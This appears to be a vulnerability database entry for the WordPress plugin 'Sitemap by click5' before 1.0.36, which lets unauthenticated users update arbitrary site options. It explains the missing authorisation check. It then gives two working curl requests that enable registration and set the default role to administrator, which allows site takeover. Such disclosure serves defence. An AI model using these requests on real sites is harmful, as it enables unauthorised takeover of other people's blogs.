Lucene search

K
wpexploitCydaveWPEX-ID:0F694961-AFAB-44F9-846C-E80A0F6C768B
HistoryApr 11, 2022 - 12:00 a.m.

Sitemap by click5 < 1.0.36 - Unauthenticated Arbitrary Options Update

2022-04-1100:00:00
cydave
138
sitemap by click5
unauthenticated
options update
user registrations
default role
administrator
exploit
curl

EPSS

0.48

Percentile

97.5%

The plugin does not have authorisation and CSRF checks when updating options via a REST endpoint, and does not ensure that the option to be updated belongs to the plugin. As a result, unauthenticated attackers could change arbitrary blog options, such as the users_can_register and default_role, allowing them to create a new admin account and take over the blog.

Allow user registrations:
curl 'https://example.com/?rest_route=/click5_sitemap/API/update_html_option_AJAX' \
    -H 'Content-Type: application/json' \
    --data '{"users_can_register": 1}'

Set the default user role to administrator:
curl 'https://example.com/?rest_route=/click5_sitemap/API/update_html_option_AJAX' \
    -H 'Content-Type: application/json' \
    --data '{"default_role":"administrator"}'

EPSS

0.48

Percentile

97.5%

Related for WPEX-ID:0F694961-AFAB-44F9-846C-E80A0F6C768B